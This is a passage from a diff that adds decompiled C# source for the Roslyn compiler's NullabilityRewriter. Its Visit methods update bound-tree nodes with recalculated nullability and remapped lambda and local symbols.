type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = _snapshotManager?.GetUpdatedDelegateTypeForLambda(lambdaSymbol); + if (!_remappedSymbols.TryGetValue(lambdaSymbol.ContainingSymbol, out Symbol value2) && (object)namedTypeSymbol == null) + { + return lambdaSymbol; + } + LambdaSymbol lambdaSymbol2 = (((object)namedTypeSymbol != null) ? boundLambda.CreateLambdaSymbol(namedTypeSymbol, value2 ?? lambdaSymbol.ContainingSymbol) : boundLambda.CreateLambdaSymbol(value2, lambdaSymbol.ReturnTypeWithAnnotations, lambdaSymbol.ParameterTypesWithAnnotations, lambdaSymbol.ParameterRefKinds, lambdaSymbol.RefKind)); + _remappedSymbols.Add(lambdaSymbol, lambdaSymbol2); + for (int i = 0; i < lambdaSymbol.ParameterCount; i++) + { + _remappedSymbols.Add(lambdaSymbol.Parameters[i], lambdaSymbol2.Parameters[i]); + } + return lambdaSymbol2; + } + Symbol remapLocal(SourceLocalSymbol sourceLocalSymbol) + { + if (_remappedSymbols.TryGetValue(sourceLocalSymbol, out Symbol value2)) + { + return value2; + } + TypeWithAnnotations? typeWithAnnotations = _snapshotManager?.GetUpdatedTypeForLocalSymbol(sourceLocalSymbol); + if (!_remappedSymbols.TryGetValue(sourceLocalSymbol.ContainingSymbol, out Symbol value3) && !typeWithAnnotations.HasValue) + { + _remappedSymbols.Add(sourceLocalSymbol, sourceLocalSymbol); + return sourceLocalSymbol; + } + value2 = new UpdatedContainingSymbolAndNullableAnnotationLocal(sourceLocalSymbol, value3 ?? sourceLocalSymbol.ContainingSymbol, typeWithAnnotations ?? sourceLocalSymbol.TypeWithAnnotations); + _remappedSymbols.Add(sourceLocalSymbol, value2); + return value2; + } + } + + public override BoundNode? VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundExpression argument = (BoundExpression)Visit(node.Argument); + BoundExpression lengthOrCountAccess = node.LengthOrCountAccess; + BoundExpression indexerOrSliceAccess = (BoundExpression)Visit(node.IndexerOrSliceAccess); + BoundImplicitIndexerAccess boundImplicitIndexerAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundImplicitIndexerAccess = node.Update(receiver, argument, lengthOrCountAccess, node.ReceiverPlaceholder, indexerOrSliceAccess, node.ArgumentPlaceholders, value.Item2); + (boundImplicitIndexerAccess.TopLevelNullability, _) = value; + } + else + { + boundImplicitIndexerAccess = node.Update(receiver, argument, lengthOrCountAccess, node.ReceiverPlaceholder, indexerOrSliceAccess, node.ArgumentPlaceholders, node.Type); + } + return boundImplicitIndexerAccess; + } + + private ImmutableArray GetUpdatedArray(BoundNode expr, ImmutableArray symbols) where T : Symbol? + { + if (symbols.IsDefaultOrEmpty) + { + return symbols; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(symbols.Length); + bool flag = false; + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + T val = null; + if ((object)current != null) + { + val = GetUpdatedSymbol(expr, current); + if ((object)current != val) + { + flag = true; + } + } + instance.Add(val); + } + if (flag) + { + return instance.ToImmutableAndFree(); + } + instance.Free(); + return symbols; + } + + public NullabilityRewriter(ImmutableDictionary updatedNullabilities, NullableWalker.SnapshotManager? snapshotManager, ImmutableDictionary.Builder remappedSymbols) + { + _updatedNullabilities = updatedNullabilities; + _snapshotManager = snapshotManager; + _remappedSymbols = remappedSymbols; + } + + public override BoundNode? VisitFieldEqualsValue(BoundFieldEqualsValue node) + { + FieldSymbol updatedSymbol = GetUpdatedSymbol(node, node.Field); + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(updatedSymbol, updatedArray, value); + } + + public override BoundNode? VisitPropertyEqualsValue(BoundPropertyEqualsValue node) + { + PropertySymbol updatedSymbol = GetUpdatedSymbol(node, node.Property); + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(updatedSymbol, updatedArray, value); + } + + public override BoundNode? VisitParameterEqualsValue(BoundParameterEqualsValue node) + { + ParameterSymbol updatedSymbol = GetUpdatedSymbol(node, node.Parameter); + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(updatedSymbol, updatedArray, value); + } + + public override BoundNode? VisitValuePlaceholder(BoundValuePlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundValuePlaceholder boundValuePlaceholder = node.Update(value.Item2); + (boundValuePlaceholder.TopLevelNullability, _) = value; + return boundValuePlaceholder; + } + + public override BoundNode? VisitCapturedReceiverPlaceholder(BoundCapturedReceiverPlaceholder node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundCapturedReceiverPlaceholder boundCapturedReceiverPlaceholder; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundCapturedReceiverPlaceholder = node.Update(receiver, node.LocalScopeDepth, value.Item2); + (boundCapturedReceiverPlaceholder.TopLevelNullability, _) = value; + } + else + { + boundCapturedReceiverPlaceholder = node.Update(receiver, node.LocalScopeDepth, node.Type); + } + return boundCapturedReceiverPlaceholder; + } + + public override BoundNode? VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + Symbol updatedSymbol = GetUpdatedSymbol(node, node.VariableSymbol); + BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDeconstructValuePlaceholder = node.Update(updatedSymbol, node.IsDiscardExpression, value.Item2); + (boundDeconstructValuePlaceholder.TopLevelNullability, _) = value; + } + else + { + boundDeconstructValuePlaceholder = node.Update(updatedSymbol, node.IsDiscardExpression, node.Type); + } + return boundDeconstructValuePlaceholder; + } + + public override BoundNode? VisitTupleOperandPlaceholder(BoundTupleOperandPlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundTupleOperandPlaceholder boundTupleOperandPlaceholder = node.Update(value.Item2); + (boundTupleOperandPlaceholder.TopLevelNullability, _) = value; + return boundTupleOperandPlaceholder; + } + + public override BoundNode? VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundAwaitableValuePlaceholder boundAwaitableValuePlaceholder = node.Update(value.Item2); + (boundAwaitableValuePlaceholder.TopLevelNullability, _) = value; + return boundAwaitableValuePlaceholder; + } + + public override BoundNode? VisitDisposableValuePlaceholder(BoundDisposableValuePlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundDisposableValuePlaceholder boundDisposableValuePlaceholder = node.Update(value.Item2); + (boundDisposableValuePlaceholder.TopLevelNullability, _) = value; + return boundDisposableValuePlaceholder; + } + + public override BoundNode? VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundObjectOrCollectionValuePlaceholder boundObjectOrCollectionValuePlaceholder = node.Update(node.IsNewInstance, value.Item2); + (boundObjectOrCollectionValuePlaceholder.TopLevelNullability, _) = value; + return boundObjectOrCollectionValuePlaceholder; + } + + public override BoundNode? VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundImplicitIndexerValuePlaceholder boundImplicitIndexerValuePlaceholder = node.Update(value.Item2); + (boundImplicitIndexerValuePlaceholder.TopLevelNullability, _) = value; + return boundImplicitIndexerValuePlaceholder; + } + + public override BoundNode? VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundImplicitIndexerReceiverPlaceholder boundImplicitIndexerReceiverPlaceholder = node.Update(node.IsEquivalentToThisReference, value.Item2); + (boundImplicitIndexerReceiverPlaceholder.TopLevelNullability, _) = value; + return boundImplicitIndexerReceiverPlaceholder; + } + + public override BoundNode? VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundListPatternReceiverPlaceholder boundListPatternReceiverPlaceholder = node.Update(value.Item2); + (boundListPatternReceiverPlaceholder.TopLevelNullability, _) = value; + return boundListPatternReceiverPlaceholder; + } + + public override BoundNode? VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundListPatternIndexPlaceholder boundListPatternIndexPlaceholder = node.Update(value.Item2); + (boundListPatternIndexPlaceholder.TopLevelNullability, _) = value; + return boundListPatternIndexPlaceholder; + } + + public override BoundNode? VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundSlicePatternReceiverPlaceholder boundSlicePatternReceiverPlaceholder = node.Update(value.Item2); + (boundSlicePatternReceiverPlaceholder.TopLevelNullability, _) = value; + return boundSlicePatternReceiverPlaceholder; + } + + public override BoundNode? VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundSlicePatternRangePlaceholder boundSlicePatternRangePlaceholder = node.Update(value.Item2); + (boundSlicePatternRangePlaceholder.TopLevelNullability, _) = value; + return boundSlicePatternRangePlaceholder; + } + + public override BoundNode? VisitDup(BoundDup node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundDup boundDup = node.Update(node.RefKind, value.Item2); + (boundDup.TopLevelNullability, _) = value; + return boundDup; + } + + public override BoundNode? VisitPassByCopy(BoundPassByCopy node) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundPassByCopy boundPassByCopy; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundPassByCopy = node.Update(expression, value.Item2); + (boundPassByCopy.TopLevelNullability, _) = value; + } + else + { + boundPassByCopy = node.Update(expression, node.Type); + } + return boundPassByCopy; + } + + public override BoundNode? VisitBadExpression(BoundBadExpression node) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + GetUpdatedArray(node, node.Symbols); + ImmutableArray childBoundNodes = VisitList(node.ChildBoundNodes); + BoundBadExpression boundBadExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundBadExpression = node.Update(node.ResultKind, node.Symbols, childBoundNodes, value.Item2); + (boundBadExpression.TopLevelNullability, _) = value; + } + else + { + boundBadExpression = node.Update(node.ResultKind, node.Symbols, childBoundNodes, node.Type); + } + return boundBadExpression; + } + + public override BoundNode? VisitTypeExpression(BoundTypeExpression node) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + BoundTypeExpression boundContainingTypeOpt = (BoundTypeExpression)Visit(node.BoundContainingTypeOpt); + ImmutableArray boundDimensionsOpt = VisitList(node.BoundDimensionsOpt); + BoundTypeExpression boundTypeExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundTypeExpression = node.Update(node.AliasOpt, boundContainingTypeOpt, boundDimensionsOpt, node.TypeWithAnnotations, value.Item2); + (boundTypeExpression.TopLevelNullability, _) = value; + } + else + { + boundTypeExpression = node.Update(node.AliasOpt, boundContainingTypeOpt, boundDimensionsOpt, node.TypeWithAnnotations, node.Type); + } + return boundTypeExpression; + } + + public override BoundNode? VisitTypeOrValueExpression(BoundTypeOrValueExpression node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundTypeOrValueExpression boundTypeOrValueExpression = node.Update(node.Data, value.Item2); + (boundTypeOrValueExpression.TopLevelNullability, _) = value; + return boundTypeOrValueExpression; + } + + public override BoundNode? VisitNamespaceExpression(BoundNamespaceExpression node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundNamespaceExpression boundNamespaceExpression = node.Update(node.NamespaceSymbol, node.AliasOpt); + (boundNamespaceExpression.TopLevelNullability, _) = value; + return boundNamespaceExpression; + } + + public override BoundNode? VisitUnaryOperator(BoundUnaryOperator node) + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.MethodOpt); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.ConstrainedToTypeOpt); + GetUpdatedArray(node, node.OriginalUserDefinedOperatorsOpt); + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundUnaryOperator boundUnaryOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundUnaryOperator = node.Update(node.OperatorKind, operand, node.ConstantValueOpt, updatedSymbol, updatedSymbol2, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, value.Item2); + (boundUnaryOperator.TopLevelNullability, _) = value; + } + else + { + boundUnaryOperator = node.Update(node.OperatorKind, operand, node.ConstantValueOpt, updatedSymbol, updatedSymbol2, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, node.Type); + } + return boundUnaryOperator; + } + + public override BoundNode? VisitIncrementOperator(BoundIncrementOperator node) + { + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.MethodOpt); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.ConstrainedToTypeOpt); + GetUpdatedArray(node, node.OriginalUserDefinedOperatorsOpt); + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundValuePlaceholder operandPlaceholder = node.OperandPlaceholder; + BoundExpression operandConversion = node.OperandConversion; + BoundValuePlaceholder resultPlaceholder = node.ResultPlaceholder; + BoundExpression resultConversion = node.ResultConversion; + BoundIncrementOperator boundIncrementOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundIncrementOperator = node.Update(node.OperatorKind, operand, updatedSymbol, updatedSymbol2, operandPlaceholder, operandConversion, resultPlaceholder, resultConversion, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, value.Item2); + (boundIncrementOperator.TopLevelNullability, _) = value; + } + else + { + boundIncrementOperator = node.Update(node.OperatorKind, operand, updatedSymbol, updatedSymbol2, operandPlaceholder, operandConversion, resultPlaceholder, resultConversion, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, node.Type); + } + return boundIncrementOperator; + } + + public override BoundNode? VisitAddressOfOperator(BoundAddressOfOperator node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundAddressOfOperator boundAddressOfOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundAddressOfOperator = node.Update(operand, node.IsManaged, value.Item2); + (boundAddressOfOperator.TopLevelNullability, _) = value; + } + else + { + boundAddressOfOperator = node.Update(operand, node.IsManaged, node.Type); + } + return boundAddressOfOperator; + } + + public override BoundNode? VisitUnconvertedAddressOfOperator(BoundUnconvertedAddressOfOperator node) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + BoundMethodGroup operand = (BoundMethodGroup)Visit(node.Operand); + BoundUnconvertedAddressOfOperator boundUnconvertedAddressOfOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundUnconvertedAddressOfOperator = node.Update(operand); + (boundUnconvertedAddressOfOperator.TopLevelNullability, _) = value; + } + else + { + boundUnconvertedAddressOfOperator = node.Update(operand); + } + return boundUnconvertedAddressOfOperator; + } + + public override BoundNode? VisitFunctionPointerLoad(BoundFunctionPointerLoad node) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.TargetMethod); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.ConstrainedToTypeOpt); + BoundFunctionPointerLoad boundFunctionPointerLoad; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundFunctionPointerLoad = node.Update(updatedSymbol, updatedSymbol2, value.Item2); + (boundFunctionPointerLoad.TopLevelNullability, _) = value; + } + else + { + boundFunctionPointerLoad = node.Update(updatedSymbol, updatedSymbol2, node.Type); + } + return boundFunctionPointerLoad; + } + + public override BoundNode? VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundPointerIndirectionOperator boundPointerIndirectionOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundPointerIndirectionOperator = node.Update(operand, node.RefersToLocation, value.Item2); + (boundPointerIndirectionOperator.TopLevelNullability, _) = value; + } + else + { + boundPointerIndirectionOperator = node.Update(operand, node.RefersToLocation, node.Type); + } + return boundPointerIndirectionOperator; + } + + public override BoundNode? VisitPointerElementAccess(BoundPointerElementAccess node) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundExpression index = (BoundExpression)Visit(node.Index); + BoundPointerElementAccess boundPointerElementAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundPointerElementAccess = node.Update(expression, index, node.Checked, node.RefersToLocation, value.Item2); + (boundPointerElementAccess.TopLevelNullability, _) = value; + } + else + { + boundPointerElementAccess = node.Update(expression, index, node.Checked, node.RefersToLocation, node.Type); + } + return boundPointerElementAccess; + } + + public override BoundNode? VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + BoundExpression invokedExpression = (BoundExpression)Visit(node.InvokedExpression); + ImmutableArray arguments = VisitList(node.Arguments); + BoundFunctionPointerInvocation boundFunctionPointerInvocation; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundFunctionPointerInvocation = node.Update(invokedExpression, arguments, node.ArgumentRefKindsOpt, node.ResultKind, value.Item2); + (boundFunctionPointerInvocation.TopLevelNullability, _) = value; + } + else + { + boundFunctionPointerInvocation = node.Update(invokedExpression, arguments, node.ArgumentRefKindsOpt, node.ResultKind, node.Type); + } + return boundFunctionPointerInvocation; + } + + public override BoundNode? VisitRefTypeOperator(BoundRefTypeOperator node) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.GetTypeFromHandle); + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundRefTypeOperator boundRefTypeOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundRefTypeOperator = node.Update(operand, updatedSymbol, value.Item2); + (boundRefTypeOperator.TopLevelNullability, _) = value; + } + else + { + boundRefTypeOperator = node.Update(operand, updatedSymbol, node.Type); + } + return boundRefTypeOperator; + } + + public override BoundNode? VisitMakeRefOperator(BoundMakeRefOperator node) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundMakeRefOperator boundMakeRefOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundMakeRefOperator = node.Update(operand, value.Item2); + (boundMakeRefOperator.TopLevelNullability, _) = value; + } + else + { + boundMakeRefOperator = node.Update(operand, node.Type); + } + return boundMakeRefOperator; + } + + public override BoundNode? VisitRefValueOperator(BoundRefValueOperator node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundRefValueOperator boundRefValueOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundRefValueOperator = node.Update(node.NullableAnnotation, operand, value.Item2); + (boundRefValueOperator.TopLevelNullability, _) = value; + } + else + { + boundRefValueOperator = node.Update(node.NullableAnnotation, operand, node.Type); + } + return boundRefValueOperator; + } + + public override BoundNode? VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.MethodOpt); + BoundExpression operand = (BoundExpression)Visit(node.Operand); + BoundFromEndIndexExpression boundFromEndIndexExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundFromEndIndexExpression = node.Update(operand, updatedSymbol, value.Item2); + (boundFromEndIndexExpression.TopLevelNullability, _) = value; + } + else + { + boundFromEndIndexExpression = node.Update(operand, updatedSymbol, node.Type); + } + return boundFromEndIndexExpression; + } + + public override BoundNode? VisitRangeExpression(BoundRangeExpression node) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.MethodOpt); + BoundExpression leftOperandOpt = (BoundExpression)Visit(node.LeftOperandOpt); + BoundExpression rightOperandOpt = (BoundExpression)Visit(node.RightOperandOpt); + BoundRangeExpression boundRangeExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundRangeExpression = node.Update(leftOperandOpt, rightOperandOpt, updatedSymbol, value.Item2); + (boundRangeExpression.TopLevelNullability, _) = value; + } + else + { + boundRangeExpression = node.Update(leftOperandOpt, rightOperandOpt, updatedSymbol, node.Type); + } + return boundRangeExpression; + } + + public override BoundNode? VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + BoundTupleBinaryOperator boundTupleBinaryOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundTupleBinaryOperator = node.Update(left, right, node.OperatorKind, node.Operators, value.Item2); + (boundTupleBinaryOperator.TopLevelNullability, _) = value; + } + else + { + boundTupleBinaryOperator = node.Update(left, right, node.OperatorKind, node.Operators, node.Type); + } + return boundTupleBinaryOperator; + } + + public override BoundNode? VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + GetUpdatedArray(node, node.OriginalUserDefinedOperatorsOpt); + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + BoundValuePlaceholder leftPlaceholder = node.LeftPlaceholder; + BoundExpression leftConversion = node.LeftConversion; + BoundValuePlaceholder finalPlaceholder = node.FinalPlaceholder; + BoundExpression finalConversion = node.FinalConversion; + BoundCompoundAssignmentOperator boundCompoundAssignmentOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundCompoundAssignmentOperator = node.Update(node.Operator, left, right, leftPlaceholder, leftConversion, finalPlaceholder, finalConversion, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, value.Item2); + (boundCompoundAssignmentOperator.TopLevelNullability, _) = value; + } + else + { + boundCompoundAssignmentOperator = node.Update(node.Operator, left, right, leftPlaceholder, leftConversion, finalPlaceholder, finalConversion, node.ResultKind, node.OriginalUserDefinedOperatorsOpt, node.Type); + } + return boundCompoundAssignmentOperator; + } + + public override BoundNode? VisitAssignmentOperator(BoundAssignmentOperator node) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + BoundExpression left = (BoundExpression)Visit(node.Left); + BoundExpression right = (BoundExpression)Visit(node.Right); + BoundAssignmentOperator boundAssignmentOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundAssignmentOperator = node.Update(left, right, node.IsRef, value.Item2); + (boundAssignmentOperator.TopLevelNullability, _) = value; + } + else + { + boundAssignmentOperator = node.Update(left, right, node.IsRef, node.Type); + } + return boundAssignmentOperator; + } + + public override BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + BoundTupleExpression left = (BoundTupleExpression)Visit(node.Left); + BoundConversion right = (BoundConversion)Visit(node.Right); + BoundDeconstructionAssignmentOperator boundDeconstructionAssignmentOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDeconstructionAssignmentOperator = node.Update(left, right, node.IsUsed, value.Item2); + (boundDeconstructionAssignmentOperator.TopLevelNullability, _) = value; + } + else + { + boundDeconstructionAssignmentOperator = node.Update(left, right, node.IsUsed, node.Type); + } + return boundDeconstructionAssignmentOperator; + } + + public override BoundNode? VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + BoundExpression leftOperand = (BoundExpression)Visit(node.LeftOperand); + BoundExpression rightOperand = (BoundExpression)Visit(node.RightOperand); + BoundValuePlaceholder leftPlaceholder = node.LeftPlaceholder; + BoundExpression leftConversion = node.LeftConversion; + BoundNullCoalescingOperator boundNullCoalescingOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundNullCoalescingOperator = node.Update(leftOperand, rightOperand, leftPlaceholder, leftConversion, node.OperatorResultKind, node.Checked, value.Item2); + (boundNullCoalescingOperator.TopLevelNullability, _) = value; + } + else + { + boundNullCoalescingOperator = node.Update(leftOperand, rightOperand, leftPlaceholder, leftConversion, node.OperatorResultKind, node.Checked, node.Type); + } + return boundNullCoalescingOperator; + } + + public override BoundNode? VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + BoundExpression leftOperand = (BoundExpression)Visit(node.LeftOperand); + BoundExpression rightOperand = (BoundExpression)Visit(node.RightOperand); + BoundNullCoalescingAssignmentOperator boundNullCoalescingAssignmentOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundNullCoalescingAssignmentOperator = node.Update(leftOperand, rightOperand, value.Item2); + (boundNullCoalescingAssignmentOperator.TopLevelNullability, _) = value; + } + else + { + boundNullCoalescingAssignmentOperator = node.Update(leftOperand, rightOperand, node.Type); + } + return boundNullCoalescingAssignmentOperator; + } + + public override BoundNode? VisitUnconvertedConditionalOperator(BoundUnconvertedConditionalOperator node) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundExpression consequence = (BoundExpression)Visit(node.Consequence); + BoundExpression alternative = (BoundExpression)Visit(node.Alternative); + BoundUnconvertedConditionalOperator boundUnconvertedConditionalOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundUnconvertedConditionalOperator = node.Update(condition, consequence, alternative, node.ConstantValueOpt, node.NoCommonTypeError); + (boundUnconvertedConditionalOperator.TopLevelNullability, _) = value; + } + else + { + boundUnconvertedConditionalOperator = node.Update(condition, consequence, alternative, node.ConstantValueOpt, node.NoCommonTypeError); + } + return boundUnconvertedConditionalOperator; + } + + public override BoundNode? VisitConditionalOperator(BoundConditionalOperator node) + { + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.NaturalTypeOpt); + BoundExpression condition = (BoundExpression)Visit(node.Condition); + BoundExpression consequence = (BoundExpression)Visit(node.Consequence); + BoundExpression alternative = (BoundExpression)Visit(node.Alternative); + BoundConditionalOperator boundConditionalOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundConditionalOperator = node.Update(node.IsRef, condition, consequence, alternative, node.ConstantValueOpt, updatedSymbol, node.WasTargetTyped, value.Item2); + 